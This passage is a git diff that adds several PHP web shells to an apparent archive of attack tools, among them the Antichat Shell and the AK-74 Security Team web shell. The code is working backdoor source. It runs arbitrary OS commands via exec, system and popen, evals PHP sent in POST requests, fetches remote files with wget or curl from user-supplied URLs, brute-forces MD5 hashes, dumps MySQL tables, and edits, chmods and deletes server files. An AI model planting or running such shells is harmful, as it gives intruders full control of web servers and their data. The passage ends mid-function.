+$dosya = fopen("$yol", 'w') or die("Dosya Açýlamýyor");
+$metin=$tarea;
+fwrite($dosya, $metin) or die("Yazýlamýyor!");
+fclose($dosya);
+echo " ";
+} else {
+$path=$dir;
+echo "DÜZENLE: $yol ";
+$dosya = fopen("$yol", 'r') or die(" ");
+$boyut=filesize($yol);
+$duzen = @fread ($dosya, $boyut);
+echo "";
+echo "$duzen ";
+echo " ";
+fclose($dosya);
+$duzen=htmlspecialchars($duzen);
+echo " ";
+}
+}
+
+if($op=='efp2'){
+$fileperm=base_convert($_POST['fileperm'],8,10);
+ echo $msg=@chmod($dir."/".$dismi2,$fileperm) ? "$dismi2 ÝSÝMLÝ DOSYANIN " : "DEÝÞTÝRÝLEMEDÝ!! ";
+ echo " CHMODU ".substr(base_convert(@fileperms($dir."/".$dismi2),10,8),-4)." OLARAK DEÝÞTÝRÝLDÝ ";
+}
+
+if($op=='efp'){
+$izinler2=substr(base_convert(@fileperms($fname),10,8),-4);
+echo "
+ CHMOD:
+
+
+
+ ";
+
+}
+
+
+$path=$dir;
+if(isset($dir)){
+if ($dir = @opendir("$dir")) {
+while (($file = readdir($dir)) !== false) {
+if($file!="." && $file!=".."){
+if(is_file("$path/$file")){
+$disk_space=filesize("$path/$file");
+$kb=$disk_space/1024;
+$total_kb = number_format($kb, 2, '.', '');
+$total_kb2="Kb";
+
+
+echo " $file -
indir -
düzenle - ";
+echo "
sil -
$total_kb$total_kb2 - ";
+@$fileperm=substr(base_convert(fileperms("$path/$file"),10,8),-4);
+echo "
$fileperm ";
+echo "
\n";
+}else{
+echo "GÝT> $path/$file -
DIR -
Sil - ";
+$dirperm=substr(base_convert(fileperms("$path/$file"),10,8),-4);
+echo "
$dirperm ";
+echo "
\n";
+
+}
+}
+}
+closedir($dir);
+}
+}
+
+
+
+
+
+echo "Root Klasörüne Git ";
+if(file_exists("B:\\")){
+echo "B:\\ ";
+} else {}
+if(file_exists("C:\\")){
+echo "C:\\ ";
+} else {}
+if (file_exists("D:\\")){
+ echo "D:\\ ";
+} else {}
+if (file_exists("E:\\")){
+ echo "E:\\ ";
+} else {}
+if (file_exists("F:\\")){
+ echo "F:\\ ";
+} else {}
+if (file_exists("G:\\")){
+ echo "G:\\ ";
+} else {}
+if (file_exists("H:\\")){
+ echo "H:\\ ";
+} else {}
+
+
+echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
+echo "SERVER BÝLGÝLERÝ ";
+echo "$SERVER_SIGNATURE ";
+echo "Software : $SERVER_SOFTWARE ";
+echo "Server IP : $SERVER_ADDR ";
+echo " ";
+echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
+echo "ÝÞLEMLER ";
+echo "Dosya Gönder ";
+echo "Dosya Oluþtur ";
+echo "Klasör Oluþtur ";
+echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
+echo "Tüm haklarý sahibi C-W-M'ye aittir ";
+?>
+
+
+
+
diff --git a/xakep-shells/PHP/a_gedit.php.php.txt b/xakep-shells/PHP/a_gedit.php.php.txt
new file mode 100644
index 0000000..41822d7
--- /dev/null
+++ b/xakep-shells/PHP/a_gedit.php.php.txt
@@ -0,0 +1,693 @@
+$v){$_POST[$k] = stripslashes($v);}}
+@ini_set('max_execution_time',0);
+(@ini_get('safe_mode')=="1" ? $safe_mode="ON" : $safe_mode="OFF");
+(@ini_get('disable_functions')!="" ? $disfunc=ini_get('disable_functions') : $disfunc=0);
+(strtoupper(substr(PHP_OS, 0, 3))==='WIN' ? $os=1 : $os=0);
+$action=$_POST['action'];
+$file=$_POST['file'];
+$dir=$_POST['dir'];
+$content='';
+$stdata='';
+$style='';
+$header=''.getenv("HTTP_HOST").' - Antichat Shell '.$style.'';
+$footer='';
+$lang=array(
+'filext'=>'File already exists.',
+'uploadok'=>'File was successfully uploaded.',
+'dircrt'=>'Dir is created.',
+'dontlist'=>'Listing dir permission denide.',
+'dircrterr'=>'Don\'t create dir.',
+'dirnf'=>'Dir not found.',
+'filenf'=>'File not found.',
+'dontwrdir'=>'Only read current dir.',
+'empty'=>'Directory not empty or access denide.',
+'deletefileok'=>'File deleted.',
+'deletedirok'=>'Dir deleted.',
+'isdontfile'=>'Selected file this is link.',
+'cantrfile'=>'Cant read file, permission denide.',
+'onlyracc'=>'Don\'t edit, only read access.',
+'workdir'=>'Work directory: ',
+'fullacc'=>'Full access.',
+'fullaccdir'=>'Full accees you are can create and delete dir.',
+'thisnodir'=>'This is don\'t dir.',
+'allfuncsh'=>'All function for work shell was disabled.'
+);
+
+$act=array('viewer','editor','upload','shell','phpeval','download','delete','deletedir','brute','mysql');//here added new actions
+
+function test_file($file){
+if(!file_exists($file))$err="1";
+elseif(!is_file($file)) $err="2";
+elseif(!is_readable($file))$err="3";
+elseif(!is_writable($file))$err="4"; else $err="5";
+return $err;}
+
+function test_dir($dir){
+if(!file_exists($dir))$err="1";
+elseif(!is_dir($dir)) $err="2";
+elseif(!is_readable($dir))$err="3";
+elseif(!is_writable($dir))$err="4"; else $err="5";
+return $err;}
+
+function perms($file){
+ $perms = fileperms($file);
+ if (($perms & 0xC000) == 0xC000) {$info = 's';}
+ elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
+ elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
+ elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
+ elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
+ elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
+ elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
+ else {$info = 'u';}
+ $info .= (($perms & 0x0100) ? 'r' : '-');
+ $info .= (($perms & 0x0080) ? 'w' : '-');
+ $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
+ $info .= (($perms & 0x0020) ? 'r' : '-');
+ $info .= (($perms & 0x0010) ? 'w' : '-');
+ $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
+ $info .= (($perms & 0x0004) ? 'r' : '-');
+ $info .= (($perms & 0x0002) ? 'w' : '-');
+ $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
+ return $info;}
+
+function view_size($size){
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;}
+
+if(isset($action)){if(!in_array($action,$act))$action="viewer";else $action=$action;}else $action="viewer";
+
+if(isset($dir)){
+ $ts['test']=test_dir($dir);
+ switch($ts['test']){
+ case 1:$stdata.=$lang['dirnf'];break;
+ case 2:$stdata.=$lang['thisnodir'];break;
+ case 3:$stdata.=$lang['dontlist'];break;
+ case 4:$stdata.=$lang['dontwrdir'];$dir=chdir($GLOBALS['dir']);break;
+ case 5:$stdata.=$lang['fullaccdir'];$dir=chdir($GLOBALS['dir']);break;}
+}else $dir=@chdir($dir);
+
+$dir=getcwd()."/";
+$dir=str_replace("\\","/",$dir);
+
+if(isset($file)){
+ $ts['test1']=test_file($file);
+ switch ($ts['test1']){
+ case 1:$stdata.=$lang['filenf'];break;
+ case 2:$stdata.=$lang['isdontfile'];break;
+ case 3:$stdata.=$lang['cantrfile'];break;
+ case 4:$stdata.=$lang['onlyracc'];$file=$file;break;
+ case 5:$stdata.=$lang['fullacc'];$file=$file;break;}
+}
+
+function shell($cmd)
+{
+ global $lang;
+ $ret = '';
+ if (!empty($cmd))
+ {
+ if(function_exists('exec')){@exec($cmd,$ret);$ret = join("\n",$ret);}
+ elseif(function_exists('shell_exec')){$ret = @shell_exec($cmd);}
+ elseif(function_exists('system')){@ob_start();@system($cmd);$ret = @ob_get_contents();@ob_end_clean();}
+ elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$ret = @ob_get_contents();@ob_end_clean();}
+ elseif(@is_resource($f = @popen($cmd,"r"))){$ret = "";while(!@feof($f)) { $ret .= @fread($f,1024); }@pclose($f);}
+ else $ret=$lang['allfuncsh'];
+ }
+ return $ret;
+}
+
+function createdir($dir){mkdir($dir);}
+
+//delete file
+if($action=="delete"){
+if(unlink($file)) $content.=$lang['deletefileok']." Click here for back in viewer ";
+}
+//delete dir
+if($action=="deletedir"){
+if(!rmdir($file)) $content.=$lang['empty']." Click here for back in viewer ";
+else $content.=$lang['deletedirok']." Click here for back in viewer ";
+}
+//shell
+if($action=="shell"){
+$content.="
+
+".@$_POST['command']."
+".convert_cyr_string(htmlspecialchars(shell($_POST['command'])),"d","w")."
+ ";}
+//editor
+if($action=="editor"){
+ $stdata.="
+
+
+ Open file: >\"> ";
+ function writef($file,$data){
+ $fp = fopen($file,"w+");
+ fwrite($fp,$data);
+ fclose($fp);
+}
+ function readf($file){
+ clearstatcache();
+ $f=fopen($file, "r");
+ $contents = fread($f,filesize($file));
+ fclose($f);
+ return htmlspecialchars($contents);
+}
+if(@$_POST['save'])writef($file,$_POST['data']);
+if(@$_POST['create'])writef($file,"");
+$test=test_file($file);
+if($test==1){
+$content.="
+
+File name:
+
+ ";
+}
+if($test>2){
+$content.="
+
+
+".@readf($file)."
+ ";
+}}
+//viewer
+if($action=="viewer"){
+$content.="";
+}}}
+//downloader
+if($action=="download"){
+header('Content-Length:'.filesize($file).'');
+header('Content-Type: application/octet-stream');
+header('Content-Disposition: attachment; filename="'.$file.'"');
+readfile($file);}
+//phpeval
+if($action=="phpeval"){
+$content.="
+
+
+ <?php
+ ".@$_POST['phpev']."
+ ?>
+ ";
+if(isset($_POST['phpev']))$content.=eval($_POST['phpev']);}
+//upload
+if($action=="upload"){
+ if(isset($_POST['dirupload'])) $dirupload=$_POST['dirupload'];else $dirupload=$dir;
+ $form_win="
+
+ Upload to dir: New file name: ";
+ if($os==1)$content.=$form_win;
+ if($os==0){
+ $content.=$form_win;
+ $content.='wget fetch lynx links curl GET File addres:
+ ';
+}
+
+if(isset($_POST['uploadloc'])){
+if(!isset($_POST['filename'])) $uploadfile = $dirupload.basename($_FILES['file']['name']); else
+$uploadfile = $dirupload."/".$_POST['filename'];
+
+if(test_dir($dirupload)==1 && test_dir($dir)!=3 && test_dir($dir)!=4){createdir($dirupload);}
+if(file_exists($uploadfile))$content.=$lang['filext'];
+elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
+$content.=$lang['uploadok'];
+}
+
+if(isset($_POST['upload'])){
+ if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))
+ switch($_POST['with'])
+ {
+ case wget:shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");break;
+ case fetch:shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");break;
+ case lynx:shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;
+ case links:shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;
+ case GET:shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");break;
+ case curl:shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");break;
+}}}
+//Brute
+if($action=="brute"){
+
+function Brute() {
+ global $action,$pass_de,$chars_de,$dat,$date;
+ignore_user_abort(1);
+}
+if($chars_de==""){$chars_de="";}
+$content="Decrypte MD5
+ MD5 õåø:".$pass_de."
+
+ ".$chars_de."
+Ïåðåáîð áóêâ: ENG:
+
+
+
+
+RUS:
+
+
+
+
+
+";
+
+if($_POST[pass_de]){
+$pass_de=htmlspecialchars($pass_de);
+$pass_de=stripslashes($pass_de);
+$dat=date("H:i:s");
+$date=date("d:m:Y");
+}
+{
+crack_md5();
+}
+}
+function crack_md5() {
+global $chars_de;
+$chars=$_POST[chars];
+set_time_limit(0);
+ignore_user_abort(1);
+$chars_de=str_replace("<",chr(60),$chars_de);
+$chars_de=str_replace(">",chr(62),$chars_de);
+$c=strlen($chars_de);
+for ($next = 0; $next <= 31; $next++) {
+for ($i1 = 0; $i1 <= $c; $i1++) {
+$word[1] = $chars_de{$i1};
+for ($i2 = 0; $i2 <= $c; $i2++) {
+$word[2] = $chars_de{$i2};
+if ($next <= 2) {
+result(implode($word));
+}else {
+for ($i3 = 0; $i3 <= $c; $i3++) {
+$word[3] = $chars_de{$i3};
+if ($next <= 3) {
+result(implode($word));
+}else {
+for ($i4 = 0; $i4 <= $c; $i4++) {
+$word[4] = $chars_de{$i4};
+if ($next <= 4) {
+result(implode($word));
+}else {
+for ($i5 = 0; $i5 <= $c; $i5++) {
+$word[5] = $chars_de{$i5};
+if ($next <= 5) {
+result(implode($word));
+}else {
+for ($i6 = 0; $i6 <= $c; $i6++) {
+$word[6] = $chars_de{$i6};
+if ($next <= 6) {
+result(implode($word));
+}else {
+for ($i7 = 0; $i7 <= $c; $i7++) {
+$word[7] = $chars_de{$i7};
+if ($next <= 7) {
+result(implode($word));
+}else {
+for ($i8 = 0; $i8 <= $c; $i8++) {
+$word[8] = $chars_de{$i8};
+if ($next <= 8) {
+result(implode($word));
+}else {
+for ($i9 = 0; $i9 <= $c; $i9++) {
+$word[9] = $chars_de{$i9};
+if ($next <= 9) {
+result(implode($word));
+}else {
+for ($i10 = 0; $i10 <= $c; $i10++) {
+$word[10] = $chars_de{$i10};
+if ($next <= 10) {
+result(implode($word));
+}else {
+for ($i11 = 0; $i11 <= $c; $i11++) {
+$word[11] = $chars_de{$i11};
+if ($next <= 11) {
+result(implode($word));
+}else {
+for ($i12 = 0; $i12 <= $c; $i12++) {
+$word[12] = $chars_de{$i12};
+if ($next <= 12) {
+result(implode($word));
+}else {
+for ($i13 = 0; $i13 <= $c; $i13++) {
+$word[13] = $chars_de{$i13};
+if ($next <= 13) {
+result(implode($word));
+}else {
+for ($i14 = 0; $i14 <= $c; $i14++) {
+$word[14] = $chars_de{$i14};
+if ($next <= 14) {
+result(implode($word));
+}else {
+for ($i15 = 0; $i15 <= $c; $i15++) {
+$word[15] = $chars_de{$i15};
+if ($next <= 15) {
+result(implode($word));
+}else {
+for ($i16 = 0; $i16 <= $c; $i16++) {
+$word[16] = $chars_de{$i16};
+if ($next <= 16) {
+result(implode($word));
+}else {
+for ($i17 = 0; $i17 <= $c; $i17++) {
+$word[17] = $chars_de{$i17};
+if ($next <= 17) {
+result(implode($word));
+}else {
+for ($i18 = 0; $i18 <= $c; $i18++) {
+$word[18] = $chars_de{$i18};
+if ($next <= 18) {
+result(implode($word));
+}else {
+for ($i19 = 0; $i19 <= $c; $i19++) {
+$word[19] = $chars_de{$i19};
+if ($next <= 19) {
+result(implode($word));
+}else {
+for ($i20 = 0; $i20 <= $c; $i20++) {
+$word[20] = $chars_de{$i20};
+if ($next <= 20) {
+result(implode($word));
+}else {
+for ($i21 = 0; $i21 <= $c; $i21++) {
+$word[21] = $chars_de{$i21};
+if ($next <= 21) {
+result(implode($word));
+}else {
+for ($i22 = 0; $i22 <= $c; $i22++) {
+$word[22] = $chars_de{$i22};
+if ($next <= 22) {
+result(implode($word));
+}else {
+for ($i23 = 0; $i23 <= $c; $i23++) {
+$word[23] = $chars_de{$i23};
+if ($next <= 23) {
+result(implode($word));
+}else {
+for ($i24 = 0; $i24 <= $c; $i24++) {
+$word[24] = $chars_de{$i24};
+if ($next <= 24) {
+result(implode($word));
+}else {
+for ($i25 = 0; $i25 <= $c; $i25++) {
+$word[25] = $chars_de{$i25};
+if ($next <= 25) {
+result(implode($word));
+}else {
+for ($i26 = 0; $i26 <= $c; $i26++) {
+$word[26] = $chars_de{$i26};
+if ($next <= 26) {
+result(implode($word));
+}else {
+for ($i27 = 0; $i27 <= $c; $i27++) {
+$word[27] = $chars_de{$i27};
+if ($next <= 27) {
+result(implode($word));
+}else {
+for ($i28 = 0; $i28 <= $c; $i28++) {
+$word[28] = $chars_de{$i28};
+if ($next <= 28) {
+result(implode($word));
+}else {
+for ($i29 = 0; $i29 <= $c; $i29++) {
+$word[29] = $chars_de{$i29};
+if ($next <= 29) {
+result(implode($word));
+}else {
+for ($i30 = 0; $i30 <= $c; $i30++) {
+$word[30] = $chars_de{$i30};
+if ($next <= 30) {
+result(implode($word));
+}else {
+for ($i31 = 0; $i31 <= $c; $i31++) {
+$word[31] = $chars_de{$i31};
+if ($next <= 31) {
+result(implode($word));
+}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
+
+function result($word) {
+global $dat,$date;
+$pass_de=$_POST[pass_de];
+$dat2=date("H:i:s");
+$date2=date("d:m:Y");
+
+if(md5($word)==$pass_de){
+
+
+
+echo "Ðåçóëüòàò âûïîëíåíèÿ ïåðåáîðà ïàðîëåé:
+Çàõåøèðîâàííûé ïàðîëü: $word
+Íà÷àëî ïåðåáîðà: $dat - $date
+Îêîí÷àíèå ïåðåáîðà: $dat2 - $date2
+Âûïîëíåíèå ïåðåáîðà õåøåé çàïèñàí â ôàéë: ".$word."_md5
";
+
+
+
+$f=@fopen($word._md5,"a+");
+fputs($f,"Õýø èç MD5 [$pass_de] = $word
+Íà÷àëî ïåðåáîðà:\t$dat - $date
+Îêîí÷àíèå ïåðåáîðà:\t$dat2 - $date2");
+exit;
+}}
+
+//Mysql
+
+if($action=="mysql"){
+if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
+ if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
+ $db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['mysql_db'],$db))
+ {
+ $sql1 .= "# ---------------------------------\r\n";
+ $sql1 .= "# date : ".date ("j F Y g:i")."\r\n";
+ $sql1 .= "# database : ".$_POST['mysql_db']."\r\n";
+ $sql1 .= "# table : ".$_POST['mysql_tbl']."\r\n";
+ $sql1 .= "# ---------------------------------\r\n\r\n";
+
+ $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
+ $row = @mysql_fetch_row($res);
+ $sql1 .= $row[1]."\r\n\r\n";
+ $sql1 .= "# ---------------------------------\r\n\r\n";
+
+ $sql2 = '';
+
+ $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
+ if (@mysql_num_rows($res) > 0) {
+ while ($row = @mysql_fetch_assoc($res)) {
+ $keys = @implode("`, `", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ $content.="Ãîòîâî! Äàìï ïðîøåë óäà÷íî! ";
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ } // end if(@mysql_select_db($_POST['mysql_db'],$db))
+ else $content.="Òàêîé ÁÄ íåò! ";
+ @mysql_close($db);
+ }
+ } // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){
+ else if(!empty($_POST['dif'])&&!$fp) { $content.="ÎØÈÁÊÀ, íåò ïðàâ çàïèñè â ôàéë! "; }
+
+$content.="
+
+ Áàçà: Òàáëèöà: Ëîãèí: Ïàðîëü:
+
+ Ñîõðàíèòü äàìï â ôàéëå: ";
+
+@$php_self=$_POST['PHP_SELF'];
+@$from=$_POST['from'];
+@$to=$_POST['to'];
+@$adress=$_POST['adress'];
+@$port=$_POST['port'];
+@$login=$_POST['login'];
+@$pass=$_POST['pass'];
+@$adress=$_POST['adress'];
+@$port=$_POST['port'];
+@$login=$_POST['login'];
+@$pass=$_POST['pass'];
+if(!isset($adress)){$adress="localhost";}
+if(!isset($login)){$login="root";}
+if(!isset($pass)){$pass="";}
+if(!isset($port)){$port="3306";}
+if(!isset($from)){$from=0;}
+if(!isset($to)){$to=50;}
+
+if(!@$conn){
+$content.="
+";
+}
+@$conn=$_POST['conn'];
+@$adress=$_POST['adress'];
+@$port=$_POST['port'];
+@$login=$_POST['login'];
+@$pass=$_POST['pass'];
+if($conn){
+
+$serv = @mysql_connect("$adress:$port", "$login", "$pass") or die("ÎØÈÁÊÀ: ".mysql_error());
+if($serv){
+$content.="
+
+Ñòàòóñ: Ïîäêëþ÷åí :
+[Òàáëèöû] ";
+}
+$res = mysql_list_dbs($serv);
+while ($str=mysql_fetch_row($res)){
+$content.= "";
+@$tc++;
+}
+$content.="
+
+
+
+
+
+
+
+
+
+
+ ";
+
+@$base=$_POST['base'];
+@$db=$_POST['db'];
+$content.="[Âñåãî òàáëèö: $tc]";
+if($base){
+$content.="Òàáëèöà: [$tbl] ";
+$result=mysql_list_tables($db);
+while($str=mysql_fetch_array($result)){
+$c=mysql_query ("SELECT COUNT(*) FROM $str[0]");
+$records=mysql_fetch_array($c);
+$content.="";
+
+mysql_free_result($c);
+}}
+$content.="
+
+
+
+
+
+
+
+
+
+
+
+
+ ";
+
+@$vn=$_POST['vn'];
+$content.= " Áàçà äàííûõ: $db => $vn ";
+@$inside=$_POST['inside'];
+@$tbl=$_POST['tbl'];
+if($inside){
+$content.= "";
+}}}
+
+//end function
+
+?>=$header;?> Safe mode: Disable functions: OS: Server: Id: echo 'Server: '.@gethostbyname($_SERVER["HTTP_HOST"]).' You: '.$_SERVER['REMOTE_ADDR'].' XFF: '.@gethostbyaddr($HTTP_X_FORWARDED_FOR).' ';?> Status:
| COPYRIGHT BY ANTICHAT.RU | Made by Grinay | Modified by Go0o$E |
=$footer;?>
diff --git a/xakep-shells/PHP/accept_language.php.txt b/xakep-shells/PHP/accept_language.php.txt
new file mode 100644
index 0000000..b3c8e0a
--- /dev/null
+++ b/xakep-shells/PHP/accept_language.php.txt
@@ -0,0 +1 @@
+ by q1w2e3r4'; ?>
diff --git a/xakep-shells/PHP/ak74shell.php.php.txt b/xakep-shells/PHP/ak74shell.php.php.txt
new file mode 100644
index 0000000..413e26e
--- /dev/null
+++ b/xakep-shells/PHP/ak74shell.php.php.txt
@@ -0,0 +1,640 @@
+
+/*
+
+.:: :[AK-74 Security Team Web Shell Beta Version]: ::.
+
+- AK-74 Security Team Web Site: www.ak74-team.net
+- Released on 01 June 2006.
+- Copyright AK-74 Security Team, 2006.
+- Thank you for using our script.
+
+*/
+error_reporting(0);
+set_time_limit(0);
+session_start();
+$xshell = $SERVER_['PHP_SELF'];
+class shell
+{
+
+ function getfiles()
+ {
+ $mas = array();
+ $i = 0;
+ if ($handle = opendir($_SESSION['currentdir']))
+ {
+ while (false !== ($file = readdir($handle)))
+ if ($file != '..')
+ if (!is_dir($_SESSION['currentdir'].'/'.$file))
+ {
+ $mas[$i]['filename'] = $file;
+ $mas[$i]['filesize'] = filesize($_SESSION['currentdir'].'/'.$file);
+ $mas[$i]['lastmod'] = date("H.i/d.m.Y", filemtime($_SESSION['currentdir'].'/'.$file));
+ $i++;
+ }
+ closedir($handle);
+ }
+ return $mas;
+ }
+
+ function getdirs()
+ {
+ $mas = array();
+ if ($handle = opendir($_SESSION['currentdir']))
+ {
+ while (false !== ($dir = readdir($handle)))
+ if ($dir != '.' && is_dir($_SESSION['currentdir'].'/'.$dir))
+ $mas[] = $dir;
+ closedir($handle);
+ }
+ return $mas;
+ }
+
+ function geturl()
+ {
+ if ($_SESSION['currentdir'].'/' == $_SERVER['DOCUMENT_ROOT'])
+ return '/';
+ if (strpos($_SESSION['currentdir'],str_replace('\\','/',$_SERVER['DOCUMENT_ROOT'])) === false)
+ return '';
+ return str_replace($_SERVER['DOCUMENT_ROOT'],'',$_SESSION['currentdir'].'/');
+ }
+
+
+ function removefile()
+ {
+ if (file_exists($_GET['file']))
+ {
+ chmod($_GET['file'],0777);
+ if (unlink($_GET['file']))
+ return 'Ôàéë óäàëåí!';
+ else
+ return 'Ôàéë óäàëåí!';
+ }
+ else
+ return 'Ôàéë íå íàéäåí!';
+ }
+
+ function removedir()
+ {
+ chmod($_GET['dir'],0777);
+ if (rmdir($_GET['dir']))
+ return 'Äèðåêòîðèÿ óäàëåíà!';
+ else
+ return 'Äèðåêòîðèÿ íå íàéäåía!';
+ }
+
+function getmicrotime()
+{
+ list($usec, $sec) = explode(" ",microtime());
+ return ((float)$usec + (float)$sec);
+}
+
+function getpermission($path)
+{
+
+$perms = fileperms($path);
+
+if (($perms & 0xC000) == 0xC000)
+ $info = 's';
+elseif (($perms & 0xA000) == 0xA000)
+ $info = 'l';
+elseif (($perms & 0x8000) == 0x8000)
+ $info = '-';
+elseif (($perms & 0x6000) == 0x6000)
+ $info = 'b';
+elseif (($perms & 0x4000) == 0x4000)
+ $info = 'd';
+elseif (($perms & 0x2000) == 0x2000)
+ $info = 'c';
+elseif (($perms & 0x1000) == 0x1000)
+ $info = 'p';
+else
+ $info = 'u';
+
+$info .= (($perms & 0x0100) ? 'r' : '-');
+$info .= (($perms & 0x0080) ? 'w' : '-');
+$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
+
+$info .= (($perms & 0x0020) ? 'r' : '-');
+$info .= (($perms & 0x0010) ? 'w' : '-');
+$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
+
+$info .= (($perms & 0x0004) ? 'r' : '-');
+$info .= (($perms & 0x0002) ? 'w' : '-');
+$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
+
+return $info;
+}
+
+function getpermissionarray($path)
+{
+$res = array();
+$perms = fileperms($path);
+
+if (($perms & 0xC000) == 0xC000)
+ $res[] = 's';
+elseif (($perms & 0xA000) == 0xA000)
+ $res[] = 'l';
+elseif (($perms & 0x8000) == 0x8000)
+ $res[] = '-';
+elseif (($perms & 0x6000) == 0x6000)
+ $res[] = 'b';
+elseif (($perms & 0x4000) == 0x4000)
+ $res[] = 'd';
+elseif (($perms & 0x2000) == 0x2000)
+ $res[] = 'c';
+elseif (($perms & 0x1000) == 0x1000)
+ $res[] = 'p';
+else
+ $res[] = 'u';
+
+$res[] = (($perms & 0x0100) ? 'r' : '-');
+$res[] = (($perms & 0x0080) ? 'w' : '-');
+$res[] = (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
+
+$res[] = (($perms & 0x0020) ? 'r' : '-');
+$res[] = (($perms & 0x0010) ? 'w' : '-');
+$res[] = (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
+
+$res[] = (($perms & 0x0004) ? 'r' : '-');
+$res[] = (($perms & 0x0002) ? 'w' : '-');
+$res[] = (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
+
+return $res;
+}
+
+function outputhead()
+{
+$res = '';
+$res .= 'AK-74 Security Team Web Shell
+
+
+
+
+
+ .:: :[ AK-74 Security Team Web-shell ]: ::.
+
+ ';
+return $res;
+}
+
+function outputmenu()
+{
+ $res = '';
+ $res .= '
+
+
+
+ ';
+ return $res;
+}
+
+function outputdown()
+{
+ $res = '';
+ $res .= '
';
+ return $res;
+}
+
+function outputfilemanager()
+{
+$res = '';
+$number = 0;
+$dirs = $this->getdirs();
+$files = $this->getfiles();
+sort($dirs);
+sort($files);
+
+$res .= '
+
+
+ Òåêóùàÿ äèðåêòîðèÿ: '.$_SESSION['currentdir'].'
+
+
+
+
+
+
+
+
+
+ Ðàçìåð, áàéò
+
+
+
+ Ïîñëåäíåå èçìåíåíèå
+
+
+ Ïðàâà äîñòóïà
+
+
+
+
+
+
+
+
+ ';
+
+for ($i = 0; $i < count($dirs); $i++)
+{
+ $res .= ''.(++$number).' '.$dirs[$i].' ';
+ $res .= ''.($this->getpermission($_SESSION['currentdir'].'/'.$dirs[$i])).' ';
+ $res .= ' delete ';
+}
+for ($i = 0; $i < count($files); $i++)
+{
+ $res .= ''.(++$number).' ';
+ $res .= ''.$files[$i]['filename'].' ';
+ $res .= ' '.$files[$i]['filesize'].' ';
+ $res .= ''.$files[$i]['lastmod'].' ';
+ $res .= ''.($this->getpermission($_SESSION['currentdir'].'/'.$files[$i]['filename'])).' ';
+ $res .= 'edit ';
+ $res .= 'delete ';
+}
+$res .= '
';
+
+$res .= '';
+$res .= 'Ñîçäàòü äèðåêòîðèþ: ';
+$res .= 'Ñîçäàòü ôàéë: ';
+$res .= 'Çàêà÷àòü ôàéë: è ïðèñâîèòü èìÿ ';
+$res .= '';
+$res .= 'Copyright AK-74 Security Team 2005 - '.date("Y").' ';
+return $res;
+}
+
+function outputinfo()
+{
+ $res = '';
+ $res .= '
+
+ Îáùàÿ èíôîðìàöèÿ î ñåðâåðå
+
+
+
+
+
+ 1. OS - '.(php_uname()).'
+ 2. Âåðñèÿ PHP - '.(phpversion()).'
+ 3. User - '.( get_current_user()).' || User ID - '.( getmyuid()).' || Group ID - '.( getmygid ()).'
+ 4. Server Software - '.(getenv('SERVER_SOFTWARE')).'
+ 5. Request Method - '.(getenv('REQUEST_METHOD')).'
+ 6. Server IP - '.(getenv('SERVER_ADDR')).'
+ 7. Your IP - '.(getenv('REMOTE_ADDR')).'
+ 8. X Forwarded For IP - '.(getenv('HTTP_X_FORWARDED_FOR')).'
+
+
+
+Copyright AK-74 Security Team 2005 - '.date("Y").' ';
+
+ return $res;
+}
+
+function chmodform($file)
+{
+$perms = $this->getpermissionarray($file);
+$res = '';
+$res .= ' '
+ .'
+
+
